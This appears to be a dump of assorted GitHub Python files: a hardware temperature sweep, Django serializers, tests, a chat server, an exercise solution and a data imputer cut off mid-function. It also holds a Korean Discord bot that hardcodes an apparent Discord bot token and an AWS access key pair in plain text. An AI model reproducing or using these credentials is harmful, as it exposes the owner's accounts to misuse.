+{"seq_id":"5369720146","text":"from __future__ import print_function\nfrom sweep_temp_vco import SweepTempVCO\nimport time\nimport sys\n\nsys.path.append('.')\n\n\ndef main(start_temp, stop_temp, stepping, serial=0, tol_temp=0.2):\n vc6x = SweepTempVCO(0x6a)\n vc6x.vdd = 3.3\n logfile = open(\"log\" + str(serial) + '_' + str(start_temp) + \"_\" + str(stop_temp) + \".txt\", 'w+')\n time.sleep(0.1)\n vc6x.power_on(False)\n for temp in range(start_temp, stop_temp+stepping, stepping):\n curr_temp = vc6x.read_temp()\n vc6x.set_temp(temp)\n print(\"RAMP TEMP TO \" + str(temp))\n while not((curr_temp < (temp + tol_temp)) and (curr_temp > (temp - tol_temp))):\n curr_temp = vc6x.read_temp()\n print(\".\", end='')\n # print(curr_temp)\n if temp == start_temp:\n print(\"\\nSOAK TIME 2MIN AT STARTING POINT...\")\n time.sleep(120)\n idd = vc6x.power_on()\n if idd < 0.1:\n raise EnvironmentError(\"IDD TOO SMALL PLEASE CHECK SETUP\")\n frequency1 = (vc6x.freq(1))\n frequency2 = (vc6x.freq(2))\n vco_band = list(vc6x.dut_i2c.aa_read_i2c(0x99))[0]\n print('\\nLOG: ' + str(temp) + '\\t' + str(frequency1) + '\\t' + str(frequency2) + '\\t' + str(vco_band))\n logfile.write(str(temp) + '\\t' + str(frequency1) + '\\t' + str(frequency2) + '\\t' + str(vco_band) + '\\n')\n # if temp == start_temp:\n # ak692.set_temp(stop_temp)\n logfile.close()\n vc6x.close()\n\nif __name__ == '__main__':\n unitnum = sys.argv[1]\n print(\"STARTING TEMP.......... FROM 90C to -40C\")\n main(90, -40, -10, unitnum)\n print(\"\\nDone with first round, starting from -40C.....\")\n time.sleep(30)\n main(-40, 90, 10, unitnum)\n","repo_name":"yimuguo/autobench","sub_path":"autobench/vc6x_vco_sweep.py","file_name":"vc6x_vco_sweep.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22191371518","text":"from drf_spectacular.utils import PolymorphicProxySerializer, extend_schema_field\nfrom rest_framework import serializers\n\nfrom apps.content_pages.models import (\n ContentUnitRichText,\n EventsBlock,\n ImagesBlock,\n Link,\n PersonsBlock,\n PlaysBlock,\n VideosBlock,\n)\nfrom apps.content_pages.serializers import (\n ContentUnitRichTextSerializer,\n EventsBlockSerializer,\n ImagesBlockSerializer,\n LinkSerializer,\n PersonsBlockSerializer,\n PlaysBlockSerializer,\n VideosBlockSerializer,\n)\n\nCONTENT_OBJECT_SERIALIZER_PAIRS = {\n ContentUnitRichText: ContentUnitRichTextSerializer,\n EventsBlock: EventsBlockSerializer,\n ImagesBlock: ImagesBlockSerializer,\n Link: LinkSerializer,\n PersonsBlock: PersonsBlockSerializer,\n PlaysBlock: PlaysBlockSerializer,\n VideosBlock: VideosBlockSerializer,\n}\n\n\n@extend_schema_field(\n PolymorphicProxySerializer(\n component_name=\"Content_object\",\n serializers=CONTENT_OBJECT_SERIALIZER_PAIRS.values(),\n resource_type_field_name=None,\n )\n)\nclass ContentObjectRelatedField(serializers.RelatedField):\n \"\"\"Custom related field to use for the \"content_object\" generic relationship.\"\"\"\n\n def to_representation(self, obj):\n \"\"\"Serialize content objects to a simple representation.\"\"\"\n # to think: if amount of types of objects increases may be easier to\n # get serializer_class by name (for example look for\n # SerializerMethodField sources)\n content_item_serializers = CONTENT_OBJECT_SERIALIZER_PAIRS\n\n content_item_class = obj._meta.model\n serializer_class = content_item_serializers.get(content_item_class, None)\n\n if not serializer_class:\n raise Exception(\"Unexpected type of content object block.\")\n\n serializer = serializer_class(obj, context=self.context)\n return serializer.data\n\n\nclass BaseContentSerializer(serializers.Serializer):\n \"\"\"Content (Item/Block) Serializer.\n\n 1. \"content_type\" returns type of content item\n 2. \"content_item\" recognized type of item and serialize it\n \"\"\"\n\n content_type = serializers.SlugRelatedField(\n slug_field=\"model\",\n read_only=True,\n )\n content_item = ContentObjectRelatedField(\n source=\"item\",\n read_only=True,\n )\n\n\nclass BaseContentPageSerializer(serializers.Serializer):\n \"\"\"Add `contents` field to any serializer.\"\"\"\n\n contents = BaseContentSerializer(\n many=True,\n read_only=True,\n )\n","repo_name":"Studio-Yandex-Practicum/Lubimovka_backend","sub_path":"apps/content_pages/serializers/contents.py","file_name":"contents.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"53"}
+{"seq_id":"32223250393","text":"from recipe_engine import post_process\n\nPYTHON_VERSION_COMPATIBILITY = 'PY3'\n\nDEPS = [\n 'gerrit',\n 'recipe_engine/buildbucket',\n 'recipe_engine/properties',\n 'tryserver',\n]\n\n\ndef RunSteps(api):\n api.tryserver.gerrit_change_fetch_ref\n\n\ndef GenTests(api):\n yield (api.test('timeout', status=\"INFRA_FAILURE\") +\n api.buildbucket.try_build(\n 'chromium',\n 'linux',\n git_repo='https://chromium.googlesource.com/chromium/src',\n change_number=91827,\n patch_set=1) +\n api.tryserver.gerrit_change_target_ref('refs/heads/main') +\n api.override_step_data('gerrit fetch current CL info',\n times_out_after=1200) +\n api.post_process(post_process.StatusException) +\n api.post_process(post_process.DropExpectation))\n","repo_name":"iridium-browser/iridium-browser","sub_path":"third_party/depot_tools/recipes/recipe_modules/tryserver/tests/gerrit_change_fetch_ref_timeout.py","file_name":"gerrit_change_fetch_ref_timeout.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":314,"dataset":"github-code","pt":"53"}
+{"seq_id":"21533636890","text":"# https://www.acmicpc.net/problem/4673\n\nnumbers = list(range(1, 10_001))\nremove_list=[] #생성자 리스트\n# 각 자리수를 더하는 반복문\nfor num in numbers:\n for n in str(num):\n num += int(n)\n\n if num <= 10_000:\n remove_list.append(num)\n\nfor remove_num in set(remove_list):\n numbers.remove(remove_num)\n\nfor self_num in numbers:\n print(self_num)","repo_name":"1c0332zz/TIL","sub_path":"Judge/Baekjoon/220811/4673_셀프 넘버.py","file_name":"4673_셀프 넘버.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"26097192404","text":"import time\nfrom behave import *\nfrom pages.UsuariosPage import UsuariosPage\n\n\n@when(u'Borrar usuario')\ndef step_impl(context):\n try:\n UsuariosPage.BorrarUsuario(context)\n except:\n context.driver.close()\n assert False, \"La prueba fallo en: Borrar usuario\"\n\n\n@then(u'Validar baja usuario')\ndef step_impl(context):\n try:\n UsuariosPage.ValidateToastBajaUSUARIO(context)\n context.driver.close()\n except:\n context.driver.close()\n assert False, \"La prueba fallo: Validar baja usuario\"\n\n","repo_name":"MarcosIannello/AutomationBDD_Python_selenium","sub_path":"TestAutomation/features/steps/UsuarioBaja.py","file_name":"UsuarioBaja.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"45001013970","text":"import socket\nfrom threading import *\ndef main():\n\ts = socket.socket()\n\thost='10.10.9.54'\n\tport=5010\n\ts.bind((host,port))\n\ts.listen(10)\n\tlis={}\n\tli = []\n\twhile True:\n\t\tc,addr=s.accept()\n\t\tc.send('Enter username'.encode())\n\n\t\tusern=c.recv(1024).decode()\n\t\tprint(usern+' Connected........')\n\t\tlis[c]=usern\n\t\tli.append(c)\n\n\t\tThread(target = chat,args=(lis,c,li)).start()\n\ts.close()\ndef chat(lis,c,li):\n\twhile True:\n\t\t# print('Inside While')\n\t\t# print('Inside try')\n\t\tmessage=c.recv(1024).decode()\n\t\tif(message!='q'):\n\t\t\tprint('Inside QQQ')\n\t\t\tfor user,val in lis.items():\n\t\t\t\t# print(user + ' -- ')\n\t\t\t\tprint('Dict')\n\t\t\t\t\n\t\t\t\tif c != user:\n\t\t\t\t\tuser.send((lis[c]+'-->'+message).encode())\n\t\t\t\telse:\n\t\t\t\t\tc.send(('Me==>'+message).encode())\n\t\telse:\n\t\t\tc.close()\n\t\t\tlis.pop(c)\n\t\t\tli.remove(c)\n\t\t\treturn 1\nif __name__=='__main__':\n\tmain()\n\n\n","repo_name":"jgkr95/CNF","sub_path":"M10/chatserver.py","file_name":"chatserver.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"17330856316","text":"import asyncio\r\nimport discord\r\nimport datetime\r\nimport threading\r\nimport openpyxl\r\nimport time\r\nimport random\r\nfrom discord import Member\r\nfrom discord.ext import commands\r\nfrom discord.ext.commands import Bot\r\nfrom boto3 import client\r\nimport urllib\r\nfrom urllib.request import urlopen, Request\r\nimport urllib.request\r\nfrom selenium import webdriver\r\nimport bs4\r\nfrom discord import opus\r\nfrom pprint import pprint\r\n\r\nif not discord.opus.is_loaded():\r\n\tdiscord.opus.load_opus('opus')\r\n \r\n \r\nDiscordClient = discord.Client()\r\n\r\ntoken = \"NTc1NTM1NTUwNTI2OTE0NTkw.XNJmHg.zJQSzgt6L_qVNNf3eoTIGVaz2CY\" #토큰 입력\r\n\r\n\r\n#channel = DiscordClient.get_channel('570463651170091029')\r\nchannel = DiscordClient.get_channel(580569372511174699)\r\nvoice_client = '';\r\nvc = '';\r\nserver = ''\r\nchkvoicechannel = 0\r\nyoil = ['월','화','수','목','금','토','일']\r\n\r\n\r\n\r\nasync def PlaySound(filename):\r\n global vc \r\n print('play') \r\n print(vc)\r\n \r\n vc.play(discord.FFmpegPCMAudio(filename), after=lambda e: print('done', e))\r\n vc.resume()\r\n while vc.is_playing():\r\n await asyncio.sleep(1)\r\n # disconnect after the player has finished\r\n vc.stop()\r\n\r\n \r\n\r\n\r\nasync def speak(text, filename, lang='ko'): \r\n #global server\r\n print('speak')\r\n polly = client(\"polly\", aws_access_key_id= \"AKIAUU5VCOPTVJFOIN35\", aws_secret_access_key=\"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\",region_name=\"ap-northeast-2\")\r\n response = polly.synthesize_speech(Text=text,OutputFormat=\"mp3\",VoiceId=\"Seoyeon\")\r\n stream = response.get(\"AudioStream\")\r\n full_filename = './'+filename+'.mp3'\r\n with open(full_filename, 'wb') as f:\r\n data = stream.read()\r\n f.write(data)\r\n await asyncio.sleep(1) \r\n await PlaySound(full_filename)\r\n \r\n \r\n \r\n \r\n \r\nasync def my_background_task():\r\n await DiscordClient.wait_until_ready()\r\n \r\n global channel\r\n channel = DiscordClient.get_channel(580569372511174699)\r\n \r\n if channel is not None: \r\n while not DiscordClient.is_closed():\r\n \r\n print(\"check\")\r\n \r\n now = datetime.datetime.now() #지금시간\r\n \r\n #priv = datetime.combine(date.today(), time()) + timedelta(hours=1)\r\n priv = now + datetime.timedelta(minutes=5) #1분전\r\n priv = priv.time()\r\n now = now.time()\r\n today_yoil = yoil[datetime.datetime.today().weekday()]\r\n \r\n \r\n #for a in DiscordClient.get_all_channels() :\r\n # print(a.id)\r\n #print(now)\r\n \r\n file = openpyxl.load_workbook('schedule.xlsx')\r\n sheet = file.active \r\n flag = []\r\n for i in range(1,201) :\r\n flag.append(False);\r\n \r\n for i in range(1,201) :\r\n sche_name = sheet[\"A\" + str(i)].value\r\n sche_time = sheet[\"B\" + str(i)].value\r\n sche_yoil = sheet[\"C\" + str(i)].value\r\n \r\n if sche_name is None :\r\n break \r\n \r\n \r\n \r\n sche_time = str(sche_time) \r\n now = str(now)\r\n priv = str(priv)\r\n \r\n \r\n #print (str(sche_name) + str(sche_time) + sche_yoil)\r\n #print (sche_time[0:5] + ' ' + priv[0:5] + today_yoil)\r\n \r\n if (sche_yoil == '매일' and sche_yoil != '토' and sche_yoil !='일') or sche_yoil == today_yoil:\r\n if sche_time[0:5] == now[0:5]:\r\n flag[i] = False\r\n outstring = '[' + sche_name + '] 시간 입니다.'\r\n print(outstring)\r\n await speak(outstring,'schedule'+str(i))\r\n await channel.send(outstring)\r\n\r\n \r\n if sche_time[0:5] == priv[0:5]:\r\n if flag[i] == False:\r\n flag[i] = True\r\n outstring = '[' + sche_name + '] 시작 5분 전 입니다.'\r\n print(outstring)\r\n await speak(outstring,'schedule'+str(i)) \r\n await channel.send(outstring )\r\n\r\n\r\n await asyncio.sleep(5)\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n@DiscordClient.event\r\nasync def on_ready():\r\n global channel\r\n print(\"login\")\r\n print(DiscordClient.user.name)\r\n print(DiscordClient.user.id)\r\n print(\"------------------\") \r\n channel = DiscordClient.get_channel(580569372511174699)\r\n await DiscordClient.change_presence(status=discord.Status.idle,activity=discord.Activity(name='오늘도 일과 게임'))\r\n\r\n\r\n\r\n\r\n@DiscordClient.event\r\nasync def on_message(message):\r\n #print(message)\r\n if message.author.bot: #만약 메시지를 보낸사람이 봇일 경우에는\r\n return None #동작하지 않고 무시합니다.\r\n \r\n global channel \r\n global server\r\n global voice_client\r\n global chkvoicechannel\r\n global member\r\n global vc\r\n channel = message.channel \r\n server = message.guild\r\n \r\n if message.content.startswith('!현재시간'):\r\n await channel.send('현재시간은 '+datetime.datetime.now().strftime('%H:%M:%S') + '입니다')\r\n \r\n if message.content.startswith('!스케쥴보기'):\r\n file = openpyxl.load_workbook('schedule.xlsx')\r\n sheet = file.active \r\n text = ''\r\n\r\n for i in range(1, 201):\r\n if sheet[\"A\" + str(i)].value is None and i == 1:\r\n text= \"데이터없음\"\r\n #await channel.send(channel, \"데이터 없음\")\r\n if sheet[\"A\" + str(i)].value is None:\r\n break\r\n text = text +\"\\n\" + str(i) + \" : [\"+str(sheet[\"A\" + str(i)].value) + \"]\\t\" + str(sheet[\"B\" + str(i)].value) + \"\\t\" + str(sheet[\"C\" + str(i)].value) \r\n #await channel.send(channel, str(i) + \" : [\"+str(sheet[\"A\" + str(i)].value) + \"] \" + str(sheet[\"C\" + str(i)].value) + \" \" + str(sheet[\"B\" + str(i)].value))\r\n \r\n embed = discord.Embed(title=\"등록된 알림 스케쥴리스트\", description=text, color=0x00ff00) \r\n embed.set_footer(text = datetime.datetime.now() ) \r\n await channel.send(embed=embed)\r\n \r\n \r\n \r\n \r\n if message.content.startswith('!말해'): \r\n await speak('테스트 중 입니다','test')\r\n \r\n if message.content.startswith('!나가'):\r\n if voice_client is not None: \r\n await channel.send('MEGA_BOT이 나갑니다') # 나가드림\r\n print(vc)\r\n print(voice_client)\r\n await voice_client.disconnect()\r\n chkvoicechannel = 0\r\n \r\n \r\n if message.content.startswith('!소환'):\r\n voice_client = None\r\n user=message.author\r\n \r\n if user.voice.channel: # can be None\r\n voice_client=user.voice.channel\r\n \r\n print(voice_client)\r\n \r\n if voice_client is not None:\r\n if chkvoicechannel == 0:\r\n vc = await voice_client.connect()\r\n print('1')\r\n print(vc)\r\n chkvoicechannel = 1 \r\n else :\r\n vc = await voice_client.disconnect()\r\n print('2')\r\n print(vc)\r\n voice_client=None\r\n chkvoicechannel = 0 \r\n \r\n else:\r\n await channel.send('음성채널에 먼저 들어가주세요.')\r\n \r\n\r\n \r\n if message.content.startswith('!스케쥴삭제'):\r\n file = openpyxl.load_workbook('schedule.xlsx')\r\n sheet = file.active \r\n command = message.content.split(\" \") \r\n title = command[1]\r\n chk = 0\r\n \r\n for i in range(1, 201):\r\n if sheet[\"A\"+str(i)].value == title: \r\n chk = i\r\n for j in range(i,201) :\r\n if sheet[\"A\"+str(j)].value is None: \r\n break;\r\n else :\r\n sheet[\"A\"+str(j)].value = sheet[\"A\"+str(j+1)].value\r\n sheet[\"B\"+str(j)].value = sheet[\"B\"+str(j+1)].value\r\n sheet[\"C\"+str(j)].value = sheet[\"C\"+str(j+1)].value\r\n break\r\n \r\n if chk != 0 : \r\n file.save(\"schedule.xlsx\")\r\n await channel.send(str(chk) + \": [\" + str(title) + \"] 삭제 완료\")\r\n else :\r\n await channel.send(str(title) + \"은 미등록된 스케쥴입니다\")\r\n \r\n if message.content.startswith('!스케쥴등록'):\r\n #A 스케쥴제목 \r\n #B 시간\r\n #C 요일 \r\n file = openpyxl.load_workbook('schedule.xlsx')\r\n sheet = file.active\r\n command = message.content.split(\" \")\r\n \r\n #200개 까지 등록 가능\r\n for i in range(1, 201):\r\n if sheet[\"A\"+str(i)].value == command[1]: \r\n sheet[\"B\" + str(i)].value = command[2]\r\n \r\n if len(command) < 4 : \r\n command.append(\"매일\")\r\n \r\n tmpcmd = command[2].split(\":\")\r\n \r\n if len(tmpcmd) < 3 :\r\n command[2] = command[2] + \":00\"\r\n\r\n sheet[\"C\" + str(i)].value = command[3]\r\n await channel.send(\"스케쥴 수정 완료 [\"+command[1]+\"] \"+command[2]+\" \"+command[3]);\r\n break\r\n \r\n elif sheet[\"A\"+str(i)].value is None: \r\n sheet[\"A\"+str(i)].value = command[1]\r\n sheet[\"B\" + str(i)].value = command[2]\r\n \r\n \r\n if len(command) < 4 : \r\n command.append(\"매일\")\r\n \r\n tmpcmd = command[2].split(\":\")\r\n \r\n if len(tmpcmd) < 3 :\r\n command[2] = command[2] + \":00\"\r\n \r\n \r\n sheet[\"C\" + str(i)].value = command[3]\r\n \r\n await channel.send(\"스케쥴 등록 완료 [\"+command[1]+\"] \"+command[2]+\" \"+command[3]);\r\n await channel.send(\"★ 현재 사용중인 데이터 저장용량 : \" + str(i)+\"/200 ★\")\r\n break\r\n \r\n \r\n file.save(\"schedule.xlsx\")\r\n \r\n \r\n \r\n\r\n if message.content.startswith(\"!날씨2\"):\r\n learn = message.content.split(\" \")\r\n location = learn[1]\r\n enc_location = urllib.parse.quote(location+'날씨')\r\n hdr = {'User-Agent': 'Mozilla/5.0'}\r\n url = 'https://search.naver.com/search.naver?where=nexearch&sm=top_hty&fbm=1&ie=utf8&query=' + enc_location\r\n print(url)\r\n req = Request(url, headers=hdr)\r\n html = urllib.request.urlopen(req)\r\n bsObj = bs4.BeautifulSoup(html, \"html.parser\")\r\n todayBase = bsObj.find('div', {'class': 'main_info'})\r\n\r\n todayTemp1 = todayBase.find('span', {'class': 'todaytemp'})\r\n todayTemp = todayTemp1.text.strip() # 온도\r\n print(todayTemp)\r\n\r\n todayValueBase = todayBase.find('ul', {'class': 'info_list'})\r\n todayValue2 = todayValueBase.find('p', {'class': 'cast_txt'})\r\n todayValue = todayValue2.text.strip() # 밝음,어제보다 ?도 높거나 낮음을 나타내줌\r\n print(todayValue)\r\n\r\n todayFeelingTemp1 = todayValueBase.find('span', {'class': 'sensible'})\r\n todayFeelingTemp = todayFeelingTemp1.text.strip() # 체감온도\r\n print(todayFeelingTemp)\r\n\r\n todayMiseaMongi1 = bsObj.find('div', {'class': 'sub_info'})\r\n todayMiseaMongi2 = todayMiseaMongi1.find('div', {'class': 'detail_box'})\r\n todayMiseaMongi3 = todayMiseaMongi2.find('dd')\r\n todayMiseaMongi = todayMiseaMongi3.text # 미세먼지\r\n print(todayMiseaMongi)\r\n\r\n tomorrowBase = bsObj.find('div', {'class': 'table_info weekly _weeklyWeather'})\r\n tomorrowTemp1 = tomorrowBase.find('li', {'class': 'date_info'})\r\n tomorrowTemp2 = tomorrowTemp1.find('dl')\r\n tomorrowTemp3 = tomorrowTemp2.find('dd')\r\n tomorrowTemp = tomorrowTemp3.text.strip() # 오늘 오전,오후온도\r\n print(tomorrowTemp)\r\n\r\n tomorrowAreaBase = bsObj.find('div', {'class': 'tomorrow_area'})\r\n tomorrowMoring1 = tomorrowAreaBase.find('div', {'class': 'main_info morning_box'})\r\n tomorrowMoring2 = tomorrowMoring1.find('span', {'class': 'todaytemp'})\r\n tomorrowMoring = tomorrowMoring2.text.strip() # 내일 오전 온도\r\n print(tomorrowMoring)\r\n\r\n tomorrowValue1 = tomorrowMoring1.find('div', {'class': 'info_data'})\r\n tomorrowValue = tomorrowValue1.text.strip() # 내일 오전 날씨상태, 미세먼지 상태\r\n print(tomorrowValue)\r\n\r\n tomorrowAreaBase = bsObj.find('div', {'class': 'tomorrow_area'})\r\n tomorrowAllFind = tomorrowAreaBase.find_all('div', {'class': 'main_info morning_box'})\r\n tomorrowAfter1 = tomorrowAllFind[1]\r\n tomorrowAfter2 = tomorrowAfter1.find('p', {'class': 'info_temperature'})\r\n tomorrowAfter3 = tomorrowAfter2.find('span', {'class': 'todaytemp'})\r\n tomorrowAfterTemp = tomorrowAfter3.text.strip() # 내일 오후 온도\r\n print(tomorrowAfterTemp)\r\n\r\n tomorrowAfterValue1 = tomorrowAfter1.find('div', {'class': 'info_data'})\r\n tomorrowAfterValue = tomorrowAfterValue1.text.strip()\r\n\r\n print(tomorrowAfterValue) # 내일 오후 날씨상태,미세먼지\r\n\r\n embed = discord.Embed(\r\n title=learn[1]+ ' 날씨 정보',\r\n description=learn[1]+ '날씨 정보입니다.',\r\n colour=discord.Colour.gold()\r\n )\r\n embed.add_field(name='현재온도', value=todayTemp+'˚', inline=False) # 현재온도\r\n embed.add_field(name='체감온도', value=todayFeelingTemp, inline=False) # 체감온도\r\n embed.add_field(name='현재상태', value=todayValue, inline=False) # 밝음,어제보다 ?도 높거나 낮음을 나타내줌\r\n embed.add_field(name='현재 미세먼지 상태', value=todayMiseaMongi, inline=False) # 오늘 미세먼지\r\n embed.add_field(name='오늘 오전/오후 날씨', value=tomorrowTemp, inline=False) # 오늘날씨 # color=discord.Color.blue()\r\n embed.add_field(name='**----------------------------------**',value='**----------------------------------**', inline=False) # 구분선\r\n embed.add_field(name='내일 오전온도', value=tomorrowMoring+'˚', inline=False) # 내일오전날씨\r\n embed.add_field(name='내일 오전날씨상태, 미세먼지 상태', value=tomorrowValue, inline=False) # 내일오전 날씨상태\r\n embed.add_field(name='내일 오후온도', value=tomorrowAfterTemp + '˚', inline=False) # 내일오후날씨\r\n embed.add_field(name='내일 오후날씨상태, 미세먼지 상태', value=tomorrowAfterValue, inline=False) # 내일오후 날씨상태\r\n\r\n\r\n\r\n await channel.send(embed=embed)\r\n \r\nDiscordClient.loop.create_task(my_background_task())\r\nDiscordClient.run(token)\r\n\r\n\r\n","repo_name":"yumtae/Laravel_tg","sub_path":"resources/views/bots/megabot/megabot.py","file_name":"megabot.py","file_ext":"py","file_size_in_byte":15430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15384590205","text":"def artithmetic_arranger(List,bool):\n length_ = len(List)\n if length_ >5:\n raise ValueError(\"There must only be 5 operations\")\n tuple_list = []\n result_list=[]\n for elements in List:\n if \"+\" in elements:\n tuple_list.append(list(elements.partition(\"+\")))\n elif \"-\" in elements:\n tuple_list.append(list(elements.partition(\"-\")))\n elif \"*\" in elements:\n raise ValueError(\"Operator must be '+' or '-'\")\n elif \"/\" in elements:\n raise ValueError(\"Operator must be '+' or '-'\")\n for i in range(length_):\n for j in range(3):\n if j==1:\n pass\n else:\n str(tuple_list[i][j])\n tuple_list[i][j]=tuple_list[i][j].rjust(4)\n if(bool==True):\n for var in tuple_list:\n if(var[1]==\"+\"):\n try:\n op1 = int(var[0])\n op2 = int(var[2])\n res = op1+op2\n result_list.append(str(res))\n except:\n raise ValueError(\"Operands can only be digits\")\n else:\n try:\n op1 = int(var[0])\n op2 = int(var[2])\n res=op1-op2\n result_list.append(str(res))\n except:\n raise ValueError(\"Operands can only be digits\")\n adj_result_str=result_list[0].rjust(5)\n result_String = adj_result_str\n for var in range(1,length_):\n adj_result_str = result_list[var].rjust(5)\n result_String = result_String+\" \"+adj_result_str\n format_string = Format(tuple_list,length_)+\"\\n\"+result_String\n return format_string\n else:\n format_string = Format(tuple_list,length_)\n return format_string\n\ndef Format(element_list,length):\n if(length>0):\n format_string1 = \" \"+element_list[0][0]\n format_string2 = element_list[0][1]+element_list[0][2]\n format_string3 = \"-----\"\n for i in range(1,length):\n format_string1 = format_string1 + \" \"+element_list[i][0]\n format_string2 = format_string2 + \" \"+element_list[i][1]+element_list[i][2]\n format_string3 = format_string3 + \" \"+\"-----\"\n final_string = format_string1 + \"\\n\" + format_string2+\"\\n\"+format_string3\n return final_string\n else:\n return -1\n\nL1 = [\"1234+4231\",\"1234+2421\",\"1234+3321\",\"1123+1234\",\"9999+9999\"]\nprint(artithmetic_arranger(L1,True))","repo_name":"iPalashAcharya/PythonLearning","sub_path":"scientific computing with python/arithmetic_formatter.py","file_name":"arithmetic_formatter.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26900176125","text":"import copy\nimport functools\n\nimport numpy as np\n\nfrom federatedml.feature.fate_element_type import NoneType\nfrom federatedml.feature.instance import Instance\nfrom federatedml.statistic import data_overview\nfrom federatedml.statistic.data_overview import get_header\nfrom federatedml.statistic.statics import MultivariateStatisticalSummary\nfrom federatedml.util import LOGGER\nfrom federatedml.util import consts\n\n\nclass Imputer(object):\n \"\"\"\n This class provides basic strategies for values replacement. It can be used as missing filled or outlier replace.\n You can use the statistics such as mean, median or max of each column to fill the missing value or replace outlier.\n \"\"\"\n\n def __init__(self, missing_value_list=None):\n \"\"\"\n Parameters\n ----------\n missing_value_list: list, the value to be replaced. Default None, if is None, it will be set to list of blank, none, null and na,\n which regarded as missing filled. If not, it can be outlier replace, and missing_value_list includes the outlier values\n \"\"\"\n if missing_value_list is None:\n self.missing_value_list = ['', 'none', 'null', 'na', 'None', np.nan]\n else:\n self.missing_value_list = missing_value_list\n\n self.abnormal_value_list = copy.deepcopy(self.missing_value_list)\n for i, v in enumerate(self.missing_value_list):\n if v != v:\n self.missing_value_list[i] = np.nan\n self.abnormal_value_list[i] = NoneType()\n self.abnormal_value_set = set(self.abnormal_value_list)\n self.support_replace_method = ['min', 'max', 'mean', 'median', 'designated']\n self.support_output_format = {\n 'str': str,\n 'float': float,\n 'int': int,\n 'origin': None\n }\n\n self.support_replace_area = {\n 'min': 'col',\n 'max': 'col',\n 'mean': 'col',\n 'median': 'col',\n 'designated': 'col'\n }\n\n self.cols_fit_impute_rate = []\n self.cols_transform_impute_rate = []\n self.cols_replace_method = []\n self.skip_cols = []\n\n def get_missing_value_list(self):\n return self.missing_value_list\n\n def get_cols_replace_method(self):\n return self.cols_replace_method\n\n def get_skip_cols(self):\n return self.skip_cols\n\n def get_impute_rate(self, mode=\"fit\"):\n if mode == \"fit\":\n return list(self.cols_fit_impute_rate)\n elif mode == \"transform\":\n return list(self.cols_transform_impute_rate)\n else:\n raise ValueError(\"Unknown mode of {}\".format(mode))\n\n @staticmethod\n def replace_missing_value_with_cols_transform_value_format(data, transform_list, missing_value_list,\n output_format, skip_cols):\n _data = copy.deepcopy(data)\n replace_cols_index_list = []\n if isinstance(_data, Instance):\n for i, v in enumerate(_data.features):\n if v in missing_value_list and i not in skip_cols:\n _data.features[i] = output_format(transform_list[i])\n replace_cols_index_list.append(i)\n else:\n _data[i] = output_format(v)\n else:\n for i, v in enumerate(_data):\n if str(v) in missing_value_list and i not in skip_cols:\n _data[i] = output_format(transform_list[i])\n replace_cols_index_list.append(i)\n else:\n _data[i] = output_format(v)\n\n return _data, replace_cols_index_list\n\n @staticmethod\n def replace_missing_value_with_cols_transform_value(data, transform_list, missing_value_list, skip_cols):\n _data = copy.deepcopy(data)\n replace_cols_index_list = []\n if isinstance(_data, Instance):\n new_features = []\n for i, v in enumerate(_data.features):\n if v in missing_value_list and i not in skip_cols:\n # _data.features[i] = transform_list[i]\n new_features.append(transform_list[i])\n replace_cols_index_list.append(i)\n else:\n new_features.append(v)\n if replace_cols_index_list:\n # new features array will have lowest compatible dtype\n _data.features = np.array(new_features)\n else:\n for i, v in enumerate(_data):\n if str(v) in missing_value_list and i not in skip_cols:\n _data[i] = str(transform_list[i])\n replace_cols_index_list.append(i)\n\n return _data, replace_cols_index_list\n\n @staticmethod\n def replace_missing_value_with_replace_value_format(data, replace_value, missing_value_list, output_format):\n _data = copy.deepcopy(data)\n replace_cols_index_list = []\n if isinstance(_data, Instance):\n for i, v in enumerate(_data.features):\n if v in missing_value_list:\n _data.features[i] = replace_value\n replace_cols_index_list.append(i)\n else:\n _data[i] = output_format(_data[i])\n else:\n for i, v in enumerate(_data):\n if str(v) in missing_value_list:\n _data[i] = output_format(replace_value)\n replace_cols_index_list.append(i)\n else:\n _data[i] = output_format(_data[i])\n\n return _data, replace_cols_index_list\n\n @staticmethod\n def replace_missing_value_with_replace_value(data, replace_value, missing_value_list):\n _data = copy.deepcopy(data)\n replace_cols_index_list = []\n if isinstance(_data, Instance):\n new_features = []\n for i, v in enumerate(_data.features):\n if v in missing_value_list:\n # _data.features[i] = replace_value\n new_features.append(replace_value)\n replace_cols_index_list.append(i)\n else:\n new_features.append(v)\n if replace_cols_index_list:\n # make sure new features array has lowest compatible dtype\n _data.features = np.array(new_features)\n else:\n for i, v in enumerate(_data):\n if str(v) in missing_value_list:\n _data[i] = str(replace_value)\n replace_cols_index_list.append(i)\n\n return _data, replace_cols_index_list\n\n @staticmethod\n def __get_cols_transform_method(data, replace_method, col_replace_method):\n header = get_header(data)\n if col_replace_method:\n replace_method_per_col = {col_name: col_replace_method.get(col_name, replace_method) for col_name in header}\n else:\n replace_method_per_col = {col_name: replace_method for col_name in header}\n skip_cols = [v for v in header if replace_method_per_col[v] is None]\n\n return replace_method_per_col, skip_cols\n\n def __get_cols_transform_value(self, data, replace_method, replace_value=None):\n \"\"\"\n\n Parameters\n ----------\n data: input data\n replace_method: dictionary of (column name, replace_method_name) pairs\n\n Returns\n -------\n list of transform value for each column, length equal to feature count of input data\n\n \"\"\"\n summary_obj = MultivariateStatisticalSummary(data, -1, abnormal_list=self.abnormal_value_list)\n header = get_header(data)\n cols_transform_value = {}\n if isinstance(replace_value, list):\n if len(replace_value) != len(header):\n raise ValueError(\n f\"replace value {replace_value} length does not match with header {header}, please check.\")\n for i, feature in 